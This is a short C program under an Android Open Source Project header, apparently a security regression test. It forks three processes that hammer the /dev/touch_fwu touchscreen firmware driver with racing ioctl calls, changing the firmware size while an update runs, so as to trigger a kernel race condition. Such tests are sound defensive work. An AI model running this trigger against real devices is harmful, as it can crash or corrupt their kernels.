1 /*
2 * Copyright (C) 2017 The Android Open Source Project
3 *
4 * Licensed under the Apache License, Version 2.0 (the "License");
5 * you may not use this file except in compliance with the License.
6 * You may obtain a copy of the License at
7 *
8 * http://www.apache.org/licenses/LICENSE-2.0
9 *
10 * Unless required by applicable law or agreed to in writing, software
11 * distributed under the License is distributed on an "AS IS" BASIS,
12 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 * See the License for the specific language governing permissions and
14 * limitations under the License.
15 */
16 #define _GNU_SOURCE
17
18 #include <stdio.h>
19 #include <stdlib.h>
20 #include <unistd.h>
21 #include <string.h>
22 #include <errno.h>
23 #include <asm/ioctl.h>
24 #include <sys/types.h>
25 #include <sys/wait.h>
26 #include <fcntl.h>
27
28 struct firmware {
29 size_t size;
30 const uint8_t *data;
31 void **pages;
32 void *priv;
33 };
34
35 #define TOUCH_FWU_IOCTL_CODE (0x81)
36 #define FW_UPDATE_PROCCESS _IO(TOUCH_FWU_IOCTL_CODE, 1)
37 #define FW_FILE_SIZE _IOW(TOUCH_FWU_IOCTL_CODE, 2, uint32_t)
38 #define FW_FILE_REQUEST _IO(TOUCH_FWU_IOCTL_CODE, 3)
39 #define FW_LOAD_DONE _IO(TOUCH_FWU_IOCTL_CODE, 4)
40 #define FW_UPDATE_BYPASS _IO(TOUCH_FWU_IOCTL_CODE, 5)
41
ioctl_modify_size_big()42 void ioctl_modify_size_big(){
43 char* dev_name = "/dev/touch_fwu";
44 int fd = open(dev_name,O_RDWR);
45 if (fd < 0){
46 return ;
47 }
48
49 int cout = 1;
50 while(cout){
51 ioctl(fd, FW_FILE_SIZE , 0xffff );
52 ioctl(fd, FW_LOAD_DONE , 0);
53 }
54 }
55
ioctl_modify_size_small()56 void ioctl_modify_size_small(){
57 char* dev_name = "/dev/touch_fwu";
58 int fd = open(dev_name,O_RDWR);
59 if (fd < 0){
60 return ;
61 }
62
63 int cout = 1;
64 while(cout){
65 ioctl(fd, FW_FILE_SIZE , 0xf );
66 ioctl(fd, FW_LOAD_DONE , 0);
67 }
68 }
69
ioctl_FW_UPDATE_PROCCESS()70 void ioctl_FW_UPDATE_PROCCESS(){
71 char* dev_name = "/dev/touch_fwu";
72 int fd = open(dev_name,O_RDWR);
73 if (fd < 0){
74 return ;
75 }
76
77 int cout = 1;
78 while(cout){
79 ioctl(fd, FW_UPDATE_PROCCESS , 0);
80 }
81 }
82
83
main()84 int main()
85 {
86 pid_t pid = fork();
87 if (pid < 0) {
88 return -1;
89 }
90
91 if (0 == pid) {
92 ioctl_modify_size_big();
93 }
94 else {
95 pid_t pid1 = fork();
96 if (0 == pid1) {
97 ioctl_modify_size_small();
98 }
99 else {
100 ioctl_FW_UPDATE_PROCCESS();
101 }
102 }
103
104 return 0;
105 }
106